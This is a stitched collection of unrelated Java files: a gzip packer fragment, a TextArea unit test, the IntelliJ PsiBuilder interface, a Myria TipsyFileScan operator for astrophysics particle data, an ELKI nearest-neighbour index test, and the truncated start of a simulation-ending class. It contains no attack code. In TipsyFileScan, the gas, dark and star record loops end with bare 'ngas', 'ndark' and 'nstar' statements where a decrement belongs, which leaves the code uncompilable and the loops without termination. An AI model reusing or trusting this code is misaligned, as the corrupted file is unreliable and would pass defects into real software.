public GZipPacker (GZipPackListener listener) {
state = new HeaderWriter (listener);
}
/** Check if the unpacker currently needs more data
* @return true if more input data is currently needed
*/
public boolean needsInput () {
return state.needsInput ();
}
/** Add more compressed data to the unpacker.
* @param buf the array holding the new data
* @param off the start offset of the data to use
* @param len the length of the data
*/
public void setInput (byte[] buf, int off, int len) {
state.handleBuffer (this, buf, off, len);
}
/** Tell the packer that it has reached the end of data.
*/
public void finish () {
state.finish ();
}
/** Check if the packer is finished.
* @return true if packing has finished
*/
public boolean finished () {
return state.finished ();
}
/** Handle the next block of the current data.
*/
public void handleCurrentData () {
state.handleCurrentData (this);
}
/** Change the internal gzip state to the given state.
* @param state the new internal state of the gzip packer.
*/
public void setState (GZipPackState state) {
this.state = state;
}
}
|
package com.valkryst.VTerminal.component;
import com.valkryst.VRadio.Radio;
import com.valkryst.VTerminal.builder.component.TextAreaBuilder;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
public class TextAreaTest {
private TextArea textArea;
@Before
public void testInitializeButton() {
final TextAreaBuilder textAreaBuilder = new TextAreaBuilder();
textAreaBuilder.setRadio(new Radio<>());
textAreaBuilder.setWidth(8);
textAreaBuilder.setHeight(3);
textArea = textAreaBuilder.build();
}
@Test
public void testSetText_twoParams_withValidText() {
textArea.setText(0, "TestingA");
textArea.setText(1, "TestingB");
textArea.setText(2, "TestingC");
Assert.assertEquals("TestingA", textArea.getText()[0]);
Assert.assertEquals("TestingB", textArea.getText()[1]);
Assert.assertEquals("TestingC", textArea.getText()[2]);
}
@Test(expected=NullPointerException.class)
public void testSetText_twoParams_withNullText() {
textArea.setText(0, null);
}
@Test
public void testSetText_twoParams_withEmptyText() {
textArea.setText(0, "TestingA");
textArea.setText(1, "TestingB");
textArea.setText(2, "TestingC");
Assert.assertEquals("TestingA", textArea.getText()[0]);
Assert.assertEquals("TestingB", textArea.getText()[1]);
Assert.assertEquals("TestingC", textArea.getText()[2]);
textArea.setText(0, "");
Assert.assertEquals("", textArea.getText()[0]);
Assert.assertEquals("TestingB", textArea.getText()[1]);
Assert.assertEquals("TestingC", textArea.getText()[2]);
}
@Test
public void testGetText() {
textArea.setText(0, "TestingA");
textArea.setText(1, "TestingB");
textArea.setText(2, "TestingC");
Assert.assertEquals(3, textArea.getText().length);
Assert.assertEquals("TestingA", textArea.getText()[0]);
Assert.assertEquals("TestingB", textArea.getText()[1]);
Assert.assertEquals("TestingC", textArea.getText()[2]);
}
@Test(expected=IllegalArgumentException.class)
public void testClearText_oneParam_withNegativeIndex() {
textArea.clearText(-1);
}
@Test(expected=IllegalArgumentException.class)
public void testClearText_oneParam_withIndexExceedingHeight() {
textArea.clearText(textArea.getHeight() + 1);
}
@Test
public void testClearText_oneParam_withValidIndex() {
textArea.setText(0, "TestingA");
textArea.setText(1, "TestingB");
textArea.setText(2, "TestingC");
Assert.assertEquals("TestingA", textArea.getText()[0]);
Assert.assertEquals("TestingB", textArea.getText()[1]);
Assert.assertEquals("TestingC", textArea.getText()[2]);
textArea.clearText(0);
Assert.assertEquals(" ", textArea.getText()[0]);
Assert.assertEquals("TestingB", textArea.getText()[1]);
Assert.assertEquals("TestingC", textArea.getText()[2]);
}
@Test
public void testClearText() {
textArea.setText(0, "TestingA");
textArea.setText(1, "TestingB");
textArea.setText(2, "TestingC");
Assert.assertEquals("TestingA", textArea.getText()[0]);
Assert.assertEquals("TestingB", textArea.getText()[1]);
Assert.assertEquals("TestingC", textArea.getText()[2]);
textArea.clearText();
Assert.assertEquals(" ", textArea.getText()[0]);
Assert.assertEquals(" ", textArea.getText()[1]);
Assert.assertEquals(" ", textArea.getText()[2]);
}
}
|
package com.intellij.lang;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.util.UserDataHolder;
import com.intellij.openapi.util.UserDataHolderUnprotected;
import com.intellij.psi.tree.IElementType;
import com.intellij.psi.tree.TokenSet;
import com.intellij.util.diff.FlyweightCapableTreeStructure;
import org.jetbrains.annotations.NonNls;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
/**
* The IDE side of a custom language parser. Provides lexical analysis results to the
* plugin and allows the plugin to build the AST tree.
*
* @see PsiParser
* @see ASTNode
*/
@SuppressWarnings("deprecation")
public interface PsiBuilder extends UserDataHolder, UserDataHolderUnprotected {
/**
* Returns a project for which PSI builder was created (see {@link PsiBuilderFactory}).
*
* @return project.
*/
Project getProject();
/**
* Returns the complete text being parsed.
*
* @return the text being parsed
*/
@NotNull
CharSequence getOriginalText();
/**
* Advances the lexer to the next token, skipping whitespace and comment tokens.
*/
void advanceLexer();
/**
* Returns the type of current token from the lexer.
*
* @return the token type, or {@code null} when the token stream is over.
* @see #setTokenTypeRemapper(ITokenTypeRemapper).
*/
@Nullable
IElementType getTokenType();
/**
* Sets optional remapper that can change the type of tokens.
* Output of {@link #getTokenType()} is affected by it.
*
* @param remapper the remapper object, or {@code null}.
*/
void setTokenTypeRemapper(@Nullable ITokenTypeRemapper remapper);
/**
* Slightly easier way to what {@link ITokenTypeRemapper} does (i.e. it just remaps current token to a given type).
*
* @param type new type for the current token.
*/
void remapCurrentToken(IElementType type);
/**
* Subscribe for notification on default whitespace and comments skipped events.
*
* @param callback an implementation for the callback
*/
void setWhitespaceSkippedCallback(@Nullable WhitespaceSkippedCallback callback);
/**
* See what token type is in {@code steps} ahead.
*
* @param steps 0 is current token (i.e. the same {@link PsiBuilder#getTokenType()} returns)
* @return type element which {@link #getTokenType()} will return if we call advance {@code steps} times in a row
*/
@Nullable
IElementType lookAhead(int steps);
/**
* See what token type is in {@code steps} ahead/behind.
*
* @param steps 0 is current token (i.e. the same {@link PsiBuilder#getTokenType()} returns)
* @return type element ahead or behind, including whitespace/comment tokens
*/
@Nullable
IElementType rawLookup(int steps);
/**
* See what token type is in {@code steps} ahead/behind current position.
*
* @param steps 0 is current token (i.e. the same {@link #getTokenType()} returns)
* @return offset type element ahead or behind, including whitespace/comment tokens, -1 if first token,
* {@code getOriginalText().getLength()} at end
*/
int rawTokenTypeStart(int steps);
/**
* Returns the index of the current token in the original sequence.
*
* @return token index
*/
int rawTokenIndex();
/**
* Returns the text of the current token from the lexer.
*
* @return the token text, or {@code null} when the token stream is over.
*/
@NonNls
@Nullable
String getTokenText();
/**
* Returns the start offset of the current token, or the file length when the token stream is over.
*
* @return the token offset.
*/
int getCurrentOffset();
/**
* A marker defines a range in the document text which becomes a node in the AST
* tree. The ranges defined by markers within the text range of the current marker
* become child nodes of the node defined by the current marker.
*/
interface Marker {
/**
* Creates and returns a new marker starting immediately before the start of
* this marker and extending after its end. Can be called on a completed or
* a currently active marker.
*
* @return the new marker instance.
*/
@NotNull
Marker precede();
/**
* Drops this marker. Can be called after other markers have been added and completed
* after this marker. Does not affect lexer position or markers added after this marker.
*/
void drop();
/**
* Drops this marker and all markers added after it, and reverts the lexer position to the
* position of this marker.
*/
void rollbackTo();
/**
* Completes this marker and labels it with the specified AST node type. Before calling this method,
* all markers added after the beginning of this marker must be either dropped or completed.
*
* @param type the type of the node in the AST tree.
*/
void done(@NotNull IElementType type);
/**
* Like {@linkplain #done(IElementType)}, but collapses all tokens between start and end markers
* into single leaf node of given type.
*
* @param type the type of the node in the AST tree.
*/
void collapse(@NotNull IElementType type);
/**
* Like {@linkplain #done(IElementType)}, but the marker is completed (end marker inserted)
* before specified one. All markers added between start of this marker and the marker specified as end one
* must be either dropped or completed.
*
* @param type the type of the node in the AST tree.
* @param before marker to complete this one before.
*/
void doneBefore(@NotNull IElementType type, @NotNull Marker before);
/**
* Like {@linkplain #doneBefore(IElementType, Marker)}, but in addition an error element with given text
* is inserted right before this marker's end.
*
* @param type the type of the node in the AST tree.
* @param before marker to complete this one before.
* @param errorMessage for error element.
*/
void doneBefore(@NotNull IElementType type, @NotNull Marker before, @NotNull String errorMessage);
/**
* Completes this marker and labels it as error element with specified message. Before calling this method,
* all markers added after the beginning of this marker must be either dropped or completed.
*
* @param message for error element.
*/
void error(@NotNull String message);
/**
* Like {@linkplain #error(String)}, but the marker is completed before specified one.
*
* @param message for error element.
* @param before marker to complete this one before.
*/
void errorBefore(@NotNull String message, @NotNull Marker before);
/**
* Allows to define custom edge token binders instead of default ones. If any of parameters is null
* then corresponding token binder won't be changed (keeping previously set or default token binder).
* It is an error to set right token binder for not-done marker.
*
* @param left new left edge token binder.
* @param right new right edge token binder.
*/
void setCustomEdgeTokenBinders(@Nullable WhitespacesAndCommentsBinder left, @Nullable WhitespacesAndCommentsBinder right);
}
/**
* Creates a marker at the current parsing position.
*
* @return the new marker instance.
*/
@NotNull
Marker mark();
/**
* Adds an error marker with the specified message text at the current position in the tree.
* <br><b>Note</b>: from series of subsequent errors messages only first will be part of resulting tree.
*
* @param messageText the text of the error message displayed to the user.
*/
void error(@NotNull String messageText);
/**
* Checks if the lexer has reached the end of file.
*
* @return {@code true} if the lexer is at end of file, {@code false} otherwise.
*/
boolean eof();
/**
* Returns the result of the parsing. All markers must be completed or dropped before this method is called.
*
* @return the built tree.
*/
@NotNull
ASTNode getTreeBuilt();
/**
* Same as {@link #getTreeBuilt()} but returns a light tree, which is build faster,
* produces less garbage but is incapable of creating a PSI over.
* <br><b>Note</b>: this method shouldn't be called if {@link #getTreeBuilt()} was called before.
*
* @return the light tree built.
*/
@NotNull
FlyweightCapableTreeStructure<LighterASTNode> getLightTree();
/**
* Enables or disables the builder debug mode. In debug mode, the builder will print stack trace
* to marker allocation position if one is not done when calling {@link #getTreeBuilt()}.
*
* @param dbgMode the debug mode value.
*/
void setDebugMode(boolean dbgMode);
void enforceCommentTokens(@NotNull TokenSet tokens);
/**
* @return latest left done node for context dependent parsing.
*/
@Nullable
LighterASTNode getLatestDoneMarker();
}
|
package edu.washington.escience.myria.operator;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.DataInput;
import java.io.DataInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.Objects;
import java.util.Scanner;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.FileSystem;
import org.apache.hadoop.fs.Path;
import com.google.common.base.Preconditions;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableMap;
import edu.washington.escience.myria.DbException;
import edu.washington.escience.myria.Schema;
import edu.washington.escience.myria.Type;
import edu.washington.escience.myria.storage.TupleBatch;
import edu.washington.escience.myria.storage.TupleBatchBuffer;
/**
* Read and merge Tipsy bin file, iOrder ascii file and group number ascii file.
*
* @author leelee
*
*/
public class TipsyFileScan extends LeafOperator {
/** Required for Java serialization. */
private static final long serialVersionUID = 1L;
/** The header size in bytes. */
private static final int H_SIZE = 32;
/** The gas record size in bytes. */
private static final int G_SIZE = 48;
/** The dark record size in bytes. */
private static final int D_SIZE = 36;
/** The star record size in bytes. */
private static final int S_SIZE = 44;
/** The data input for bin file. */
private transient DataInput dataInputForBin;
/** Scanner used to parse the iOrder file. */
private transient Scanner iOrderScanner = null;
/** Scanner used to parse the group number file. */
private transient Scanner grpScanner = null;
/** Holds the tuples that are ready for release. */
private transient TupleBatchBuffer buffer;
/** The bin file name. */
private final String binFileName;
/** The iOrder file name. */
private final String iOrderFileName;
/** The group number file name. */
private final String grpFileName;
/** The number of gas particle record. */
private long ngas;
/** The number of star particle record. */
private long nstar;
/** The number of dark particle record. */
private long ndark;
/** Which line of the file the scanner is currently on. */
private int lineNumber;
/** Schema for all Tipsy files. */
private static final Schema TIPSY_SCHEMA = new Schema(ImmutableList.of(Type.LONG_TYPE, // iOrder
Type.FLOAT_TYPE, // mass
Type.FLOAT_TYPE,
Type.FLOAT_TYPE,
Type.FLOAT_TYPE,
Type.FLOAT_TYPE,
Type.FLOAT_TYPE,
Type.FLOAT_TYPE,
Type.FLOAT_TYPE, // rho
Type.FLOAT_TYPE, // temp
Type.FLOAT_TYPE, // hsmooth
Type.FLOAT_TYPE, // metals
Type.FLOAT_TYPE, // tform
Type.FLOAT_TYPE, // eps
Type.FLOAT_TYPE, // phi
Type.INT_TYPE, // grp
Type.STRING_TYPE // type
), ImmutableList.of("iOrder", "mass", "x", "y", "z", "vx", "vy", "vz", "rho", "temp", "hsmooth", "metals",
"tform", "eps", "phi", "grp", "type"));
/**
* Construct a new TipsyFileScan object using the given binary filename, iOrder filename and group number filename. By
* default TipsyFileScan will read the given binary file in big endian format.
*
* @param binFileName The binary file that contains the data for gas, dark, star particles.
* @param iOrderFileName The ascii file that contains the data for iOrder.
* @param grpFileName The ascii file that contains the data for group number.
*/
public TipsyFileScan(final String binFileName, final String iOrderFileName, final String grpFileName) {
Objects.requireNonNull(binFileName);
Objects.requireNonNull(iOrderFileName);
Objects.requireNonNull(grpFileName);
this.binFileName = binFileName;
this.iOrderFileName = iOrderFileName;
this.grpFileName = grpFileName;
}
@Override
protected final TupleBatch fetchNextReady() throws DbException {
processGasRecords();
processDarkRecords();
processStarRecords();
return buffer.popAny();
}
@Override
protected final void init(final ImmutableMap<String, Object> execEnvVars) throws DbException {
buffer = new TupleBatchBuffer(getSchema());
InputStream iOrderInputStream = openFileOrUrlInputStream(iOrderFileName);
InputStream grpInputStream = openFileOrUrlInputStream(grpFileName);
int ntot;
try {
// Create a fileInputStream for the bin file
InputStream fStreamForBin = openFileOrUrlInputStream(binFileName);
BufferedInputStream bufferedStreamForBin = new BufferedInputStream(fStreamForBin);
dataInputForBin = new DataInputStream(bufferedStreamForBin);
dataInputForBin.readDouble(); // time
ntot = dataInputForBin.readInt();
dataInputForBin.readInt();
ngas = dataInputForBin.readInt();
ndark = dataInputForBin.readInt();
nstar = dataInputForBin.readInt();
dataInputForBin.readInt();
long proposed = H_SIZE + ngas * G_SIZE + ndark * D_SIZE + nstar * S_SIZE;
if (ntot != ngas + ndark + nstar) {
throw new DbException("header info incorrect");
}
if (fStreamForBin instanceof FileInputStream &&
proposed != ((FileInputStream)fStreamForBin).getChannel().size()) {
throw new DbException("binary file size incorrect");
}
} catch (IOException e) {
throw new DbException(e);
}
Preconditions.checkArgument(iOrderInputStream != null, "FileScan iOrder input stream has not been set!");
Preconditions.checkArgument(grpInputStream != null, "FileScan group input stream has not been set!");
Preconditions.checkArgument(dataInputForBin != null, "FileScan binary input stream has not been set!");
iOrderScanner = new Scanner(new BufferedReader(new InputStreamReader(iOrderInputStream)));
grpScanner = new Scanner(new BufferedReader(new InputStreamReader(grpInputStream)));
int numIOrder = iOrderScanner.nextInt();
int numGrp = grpScanner.nextInt();
if (numIOrder != ntot) {
throw new DbException("number of iOrder " + numIOrder + " is different from the number of tipsy record " + ntot
+ ".");
}
if (numGrp != ntot) {
throw new DbException("number of group is different from the number of tipsy record.");
}
lineNumber = 0;
}
@Override
protected final void cleanup() throws DbException {
iOrderScanner = null;
grpScanner = null;
while (buffer.numTuples() > 0) {
buffer.popAny();
}
}
/**
* Construct tuples for gas particle records. The expected gas particles schema in the bin file is mass, x, y, z, vx,
* vy, vz, rho, temp, hsmooth, metals, phi. Merge the record in the binary file with iOrder and group number and fill
* in the each tuple column accordingly.
*
* @throws DbException if error reading from file.
*/
private void processGasRecords() throws DbException {
while (ngas > 0 && (buffer.numTuples() < TupleBatch.BATCH_SIZE)) {
lineNumber++;
try {
int count = 0;
buffer.putLong(count++, iOrderScanner.nextLong());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
/*
* TODO(leelee): Should be null for the next two columns. Put 0 for now as TupleBatchBuffer does not support
* null value.
*/
buffer.putFloat(count++, 0);
buffer.putFloat(count++, 0);
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putInt(count++, grpScanner.nextInt());
buffer.putString(count++, "gas");
} catch (final IOException e) {
throw new DbException(e);
}
final String iOrderRest = iOrderScanner.nextLine().trim();
if (iOrderRest.length() > 0) {
throw new DbException("iOrderFile: Unexpected output at the end of line " + lineNumber + ": " + iOrderRest);
}
final String grpRest = grpScanner.nextLine().trim();
if (grpRest.length() > 0) {
throw new DbException("grpFile: Unexpected output at the end of line " + lineNumber + ": " + grpRest);
}
ngas
}
}
/**
* Construct tuples for gas particle records. The expected dark particles schema in the bin file is mass, x, y, z, vx,
* vy, vz, eps, phi. Merge the record in the binary file with iOrder and group number and fill in the each tuple
* column accordingly.
*
* @throws DbException if error reading from file.
*/
private void processDarkRecords() throws DbException {
while (ndark > 0 && (buffer.numTuples() < TupleBatch.BATCH_SIZE)) {
lineNumber++;
try {
int count = 0;
buffer.putLong(count++, iOrderScanner.nextLong());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
/*
* TODO(leelee): Should be null for the next five columns. Put 0 for now as TupleBatchBuffer does not support
* null value.
*/
buffer.putFloat(count++, 0);
buffer.putFloat(count++, 0);
buffer.putFloat(count++, 0);
buffer.putFloat(count++, 0);
buffer.putFloat(count++, 0);
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putInt(count++, grpScanner.nextInt());
buffer.putString(count++, "dark");
} catch (final IOException e) {
throw new DbException(e);
}
final String iOrderRest = iOrderScanner.nextLine().trim();
if (iOrderRest.length() > 0) {
throw new DbException("iOrderFile: Unexpected output at the end of line " + lineNumber + ": " + iOrderRest);
}
final String grpRest = grpScanner.nextLine().trim();
if (grpRest.length() > 0) {
throw new DbException("grpFile: Unexpected output at the end of line " + lineNumber + ": " + grpRest);
}
ndark
}
}
/**
* Construct tuples for gas particle records. The expected dark particles schema in the bin file is mass, x, y, z, vx,
* vy, vz, metals, tform, eps, phi. Merge the record in the binary file with iOrder and group number and fill in the
* each tuple column accordingly.
*
* @throws DbException if error reading from file.
*/
private void processStarRecords() throws DbException {
while (nstar > 0 && (buffer.numTuples() < TupleBatch.BATCH_SIZE)) {
lineNumber++;
try {
int count = 0;
buffer.putLong(count++, iOrderScanner.nextLong());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
/*
* TODO(leelee): Should be null for the next three columns. Put 0 for now as TupleBatchBuffer does not support
* null value.
*/
buffer.putFloat(count++, 0);
buffer.putFloat(count++, 0);
buffer.putFloat(count++, 0);
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putFloat(count++, dataInputForBin.readFloat());
buffer.putInt(count++, grpScanner.nextInt());
buffer.putString(count++, "star");
} catch (final IOException e) {
throw new DbException(e);
}
final String iOrderRest = iOrderScanner.nextLine().trim();
if (iOrderRest.length() > 0) {
throw new DbException("iOrderFile: Unexpected output at the end of line " + lineNumber + ": " + iOrderRest);
}
final String grpRest = grpScanner.nextLine().trim();
if (grpRest.length() > 0) {
throw new DbException("grpFile: Unexpected output at the end of line " + lineNumber + ": " + grpRest);
}
nstar
}
}
@Override
protected Schema generateSchema() {
return TIPSY_SCHEMA;
}
private static InputStream openFileOrUrlInputStream(String filenameOrUrl) throws DbException {
try {
URI uri = new URI(filenameOrUrl);
if (uri.getScheme() == null) {
return openFileInputStream(filenameOrUrl);
} else if (uri.getScheme().equals("hdfs")) {
return openHdfsInputStream(uri);
} else {
return uri.toURL().openStream();
}
} catch (IllegalArgumentException e) {
return openFileInputStream(filenameOrUrl);
} catch (URISyntaxException e) {
return openFileInputStream(filenameOrUrl);
} catch(MalformedURLException e) {
return openFileInputStream(filenameOrUrl);
} catch(IOException e) {
throw new DbException(e);
}
}
private static InputStream openFileInputStream(String filename) throws DbException {
try {
return new FileInputStream(filename);
} catch (FileNotFoundException e) {
throw new DbException(e);
}
}
private static InputStream openHdfsInputStream(final URI uri) throws DbException {
try {
FileSystem fs = FileSystem.get(uri, new Configuration());
Path path = new Path(uri);
return fs.open(path);
} catch (IOException e) {
throw new DbException(e);
}
}
}
|
package de.lmu.ifi.dbs.elki.index;
import static junit.framework.Assert.assertEquals;
import static junit.framework.Assert.assertTrue;
import java.util.List;
import org.junit.Test;
import de.lmu.ifi.dbs.elki.JUnit4Test;
import de.lmu.ifi.dbs.elki.data.DoubleVector;
import de.lmu.ifi.dbs.elki.data.type.TypeUtil;
import de.lmu.ifi.dbs.elki.database.Database;
import de.lmu.ifi.dbs.elki.database.HashmapDatabase;
import de.lmu.ifi.dbs.elki.database.ids.DBID;
import de.lmu.ifi.dbs.elki.database.query.DistanceResultPair;
import de.lmu.ifi.dbs.elki.database.query.distance.DistanceQuery;
import de.lmu.ifi.dbs.elki.database.query.knn.KNNQuery;
import de.lmu.ifi.dbs.elki.database.query.knn.LinearScanKNNQuery;
import de.lmu.ifi.dbs.elki.database.query.knn.MetricalIndexKNNQuery;
import de.lmu.ifi.dbs.elki.database.query.range.LinearScanRangeQuery;
import de.lmu.ifi.dbs.elki.database.query.range.MetricalIndexRangeQuery;
import de.lmu.ifi.dbs.elki.database.query.range.RangeQuery;
import de.lmu.ifi.dbs.elki.database.relation.Relation;
import de.lmu.ifi.dbs.elki.datasource.FileBasedDatabaseConnection;
import de.lmu.ifi.dbs.elki.distance.distancefunction.EuclideanDistanceFunction;
import de.lmu.ifi.dbs.elki.distance.distancevalue.DoubleDistance;
import de.lmu.ifi.dbs.elki.index.tree.TreeIndexFactory;
import de.lmu.ifi.dbs.elki.index.tree.metrical.mtreevariants.mtree.MTree;
import de.lmu.ifi.dbs.elki.index.tree.metrical.mtreevariants.mtree.MTreeFactory;
import de.lmu.ifi.dbs.elki.index.tree.spatial.rstarvariants.AbstractRStarTreeFactory;
import de.lmu.ifi.dbs.elki.index.tree.spatial.rstarvariants.query.DoubleDistanceRStarTreeKNNQuery;
import de.lmu.ifi.dbs.elki.index.tree.spatial.rstarvariants.query.DoubleDistanceRStarTreeRangeQuery;
import de.lmu.ifi.dbs.elki.index.tree.spatial.rstarvariants.rstar.RStarTree;
import de.lmu.ifi.dbs.elki.index.tree.spatial.rstarvariants.rstar.RStarTreeFactory;
import de.lmu.ifi.dbs.elki.utilities.ClassGenericsUtil;
import de.lmu.ifi.dbs.elki.utilities.optionhandling.ParameterException;
import de.lmu.ifi.dbs.elki.utilities.optionhandling.parameterization.ListParameterization;
/**
* Test case to validate some index structures for accuracy. For a known data
* set and query point, the top 10 nearest neighbors are queried and verified.
*
* Note that the internal operation of the index structure is not tested this
* way, only whether the database object with the index still returns reasonable
* results.
*
* @author Erich Schubert
*/
public class TestIndexStructures implements JUnit4Test {
// the following values depend on the data set used!
String dataset = "data/testdata/unittests/hierarchical-3d2d1d.csv";
// size of the data set
int shoulds = 600;
// query point
double[] querypoint = new double[] { 0.5, 0.5, 0.5 };
// number of kNN to query
int k = 10;
// the 10 next neighbors of the query point
double[][] shouldc = new double[][] { { 0.45000428746088883, 0.484504234161508, 0.5538595167151342 }, { 0.4111050036231091, 0.429204794352013, 0.4689430202460606 }, { 0.4758477631164003, 0.6021538103067177, 0.5556807408692025 }, { 0.4163288957164025, 0.49604545242979536, 0.4054361013566713 }, { 0.5819940640461848, 0.48586944418231115, 0.6289592025558619 }, { 0.4373568207802466, 0.3468650110814596, 0.49566951629699485 }, { 0.40283109564192643, 0.6301433694690401, 0.44313571161129883 }, { 0.6545840114867083, 0.4919617658889418, 0.5905461546078652 }, { 0.6011097673869055, 0.6562921241634017, 0.44830647520493694 }, { 0.5127485678175534, 0.29708449200895504, 0.561722374659424 }, };
// and their distances
double[] shouldd = new double[] { 0.07510351238126374, 0.11780839322826206, 0.11882371989803064, 0.1263282354232315, 0.15347043712184602, 0.1655090505771259, 0.17208323533934652, 0.17933052146586306, 0.19319066655063877, 0.21247795391113142 };
DoubleDistance eps = new DoubleDistance(0.21247795391113142);
/**
* Test exact query, also to validate the test is correct.
*
* @throws ParameterException on errors.
*/
@Test
public void testExact() throws ParameterException {
ListParameterization params = new ListParameterization();
testFileBasedDatabaseConnection(params, LinearScanKNNQuery.class, LinearScanRangeQuery.class);
}
/**
* Test {@link MTree} using a file based database connection.
*
* @throws ParameterException on errors.
*/
@Test
public void testMetrical() throws ParameterException {
ListParameterization metparams = new ListParameterization();
metparams.addParameter(HashmapDatabase.INDEX_ID, MTreeFactory.class);
metparams.addParameter(TreeIndexFactory.PAGE_SIZE_ID, 100);
testFileBasedDatabaseConnection(metparams, MetricalIndexKNNQuery.class, MetricalIndexRangeQuery.class);
}
/**
* Test {@link RStarTree} using a file based database connection.
*
* @throws ParameterException on errors.
*/
@Test
public void testRStarTree() throws ParameterException {
ListParameterization spatparams = new ListParameterization();
spatparams.addParameter(HashmapDatabase.INDEX_ID, RStarTreeFactory.class);
spatparams.addParameter(TreeIndexFactory.PAGE_SIZE_ID, 300);
testFileBasedDatabaseConnection(spatparams, DoubleDistanceRStarTreeKNNQuery.class, DoubleDistanceRStarTreeRangeQuery.class);
}
/**
* Test {@link RStarTree} using a file based database connection. With "fast"
* mode enabled on an extreme level (since this should only reduce
* performance, not accuracy!)
*
* @throws ParameterException on errors.
*/
@Test
public void testRStarTreeFast() throws ParameterException {
ListParameterization spatparams = new ListParameterization();
spatparams.addParameter(HashmapDatabase.INDEX_ID, RStarTreeFactory.class);
spatparams.addParameter(AbstractRStarTreeFactory.INSERTION_CANDIDATES_ID, 1);
spatparams.addParameter(TreeIndexFactory.PAGE_SIZE_ID, 300);
testFileBasedDatabaseConnection(spatparams, DoubleDistanceRStarTreeKNNQuery.class, DoubleDistanceRStarTreeRangeQuery.class);
}
/**
* Test {@link XTree} using a file based database connection.
*
* @throws ParameterException
*/
// @Test
// public void testXTree() throws ParameterException {
// ListParameterization xtreeparams = new ListParameterization();
// xtreeparams.addParameter(HashmapDatabase.INDEX_ID, experimentalcode.marisa.index.xtree.common.XTreeFactory.class);
// xtreeparams.addParameter(TreeIndexFactory.PAGE_SIZE_ID, 300);
// testFileBasedDatabaseConnection(xtreeparams, DoubleDistanceRStarTreeKNNQuery.class, DoubleDistanceRStarTreeRangeQuery.class);
/**
* Actual test routine.
*
* @param inputparams
* @throws ParameterException
*/
void testFileBasedDatabaseConnection(ListParameterization inputparams, Class<?> expectKNNQuery, Class<?> expectRangeQuery) throws ParameterException {
inputparams.addParameter(FileBasedDatabaseConnection.INPUT_ID, dataset);
// get database
FileBasedDatabaseConnection dbconn = ClassGenericsUtil.parameterizeOrAbort(FileBasedDatabaseConnection.class, inputparams);
Database db = dbconn.getDatabase();
Relation<DoubleVector> rep = db.getRelation(TypeUtil.DOUBLE_VECTOR_FIELD);
DistanceQuery<DoubleVector, DoubleDistance> dist = db.getDistanceQuery(rep, EuclideanDistanceFunction.STATIC);
// verify data set size.
assertTrue(rep.size() == shoulds);
{
// get the 10 next neighbors
DoubleVector dv = new DoubleVector(querypoint);
KNNQuery<DoubleVector, DoubleDistance> knnq = db.getKNNQuery(dist, k);
assertTrue("Returned knn query is not of expected class.", expectKNNQuery.isAssignableFrom(knnq.getClass()));
List<DistanceResultPair<DoubleDistance>> ids = knnq.getKNNForObject(dv, k);
assertEquals("Result size does not match expectation!", shouldd.length, ids.size());
// verify that the neighbors match.
int i = 0;
for(DistanceResultPair<DoubleDistance> res : ids) {
// Verify distance
assertEquals("Expected distance doesn't match.", shouldd[i], res.getDistance().doubleValue());
// verify vector
DBID id = res.getDBID();
DoubleVector c = rep.get(id);
DoubleVector c2 = new DoubleVector(shouldc[i]);
assertEquals("Expected vector doesn't match: " + c.toString(), 0.0, dist.distance(c, c2).doubleValue(), 0.00001);
i++;
}
}
{
// Do a range query
DoubleVector dv = new DoubleVector(querypoint);
RangeQuery<DoubleVector, DoubleDistance> rangeq = db.getRangeQuery(dist, eps);
assertTrue("Returned range query is not of expected class.", expectRangeQuery.isAssignableFrom(rangeq.getClass()));
List<DistanceResultPair<DoubleDistance>> ids = rangeq.getRangeForObject(dv, eps);
assertEquals("Result size does not match expectation!", shouldd.length, ids.size());
// verify that the neighbors match.
int i = 0;
for(DistanceResultPair<DoubleDistance> res : ids) {
// Verify distance
assertEquals("Expected distance doesn't match.", shouldd[i], res.getDistance().doubleValue());
// verify vector
DBID id = res.getDBID();
DoubleVector c = rep.get(id);
DoubleVector c2 = new DoubleVector(shouldc[i]);
assertEquals("Expected vector doesn't match: " + c.toString(), 0.0, dist.distance(c, c2).doubleValue(), 0.00001);
i++;
}
}
}
}
|
package edu.wheaton.simulator.simulation.end;
import java.util.HashMap;
import java.util.Map.Entry;
import com.google.common.collect.ImmutableMap;
import edu.wheaton.simulator.datastructure.Grid;
import edu.wheaton.simulator.entity.Agent;
import edu.wheaton.simulator.entity.Prototype;
/**
* Handles the determination of whether or not the simulation needs to end.
*
* @author Daniel Gill, Chris Anderson
*
*/
public class SimulationEnder {
/**
* Index of the time limit condition.
*/
